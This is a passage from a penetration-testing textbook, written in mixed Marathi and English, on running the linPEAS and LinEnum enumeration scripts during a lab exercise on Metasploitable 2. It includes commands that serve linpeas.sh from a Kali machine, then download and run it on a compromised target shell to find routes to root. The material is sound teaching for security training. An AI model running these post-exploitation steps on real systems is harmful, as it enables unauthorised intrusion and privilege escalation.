26.4 Automated Enumeration: linPEAS and LinEnum
Manual commands changle, pan linPEAS ani LinEnum he scripts sagli tapasani aapoaap kartat ani sambhavya escalation paths highlight kartat (rangit output madhe).
# on Kali: serve the script; on the target: download and run (lab only)
# Kali:
cd /usr/share/peass/linpeas 2>/dev/null || echo "install: sudo apt install peass"
python3 -m http.server 8000
# target (the compromised lab shell):
cd /tmp
wget http://192.168.56.10:8000/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh | tee linpeas_out.txt # read the RED/YELLOW highlights
# LinEnum is similar:
./LinEnum.sh -t
linPEAS marks the most promising findings in colour (red/yellow = likely escalation). It checks sudo rights, SUID, cron, writable files, passwords in files, kernel version and much more – in seconds.
Ravindra Bagale's Tip
linPEAS khup output deto – students ghabartat. Fakt red/yellow highlights aadhi bagha, tech khare leads astat. Ani script nehmi /tmp madhun chalava (tithe write permission aste). Automated tool aadhi, mag manual confirm.
Lab
Run linPEAS on Metasploitable 2 from your Chapter 23 shell. List the top three red/yellow findings and, for one of them, escalate to root manually. Compare what linPEAS found with your manual enumeration from 26.2.